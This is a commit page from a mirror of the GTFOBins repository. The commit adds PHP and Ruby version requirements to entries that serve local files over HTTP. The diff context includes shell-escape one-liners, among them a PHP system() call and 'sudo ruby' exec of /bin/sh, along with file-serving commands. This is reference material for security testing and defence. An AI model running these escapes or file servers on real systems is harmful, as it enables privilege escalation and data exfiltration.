mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-24 22:09:35 +01:00
Add versions requirements on PHP and ruby
This commit is contained in:
parent
50ffed4210
commit
401c469b26
@ -29,7 +29,7 @@ functions:
|
||||
CMD="/bin/sh"
|
||||
./php -r "system('$CMD');"
|
||||
upload:
|
||||
- description: Serve files in the local folder running an HTTP server.
|
||||
- description: Serve files in the local folder running an HTTP server. This requires PHP version 5.4 or later.
|
||||
code: |
|
||||
LHOST=0.0.0.0
|
||||
LPORT=8888
|
||||
|
@ -5,7 +5,7 @@ functions:
|
||||
sudo-enabled:
|
||||
- code: sudo ruby -e 'exec "/bin/sh"'
|
||||
upload:
|
||||
- description: Serve files in the local folder running an HTTP server.
|
||||
- description: Serve files in the local folder running an HTTP server. This requires version 1.9.2 or later.
|
||||
code: |
|
||||
export LPORT=8888
|
||||
ruby -run -e httpd . -p $LPORT
|
||||
|
Loading…
Reference in New Issue
Block a user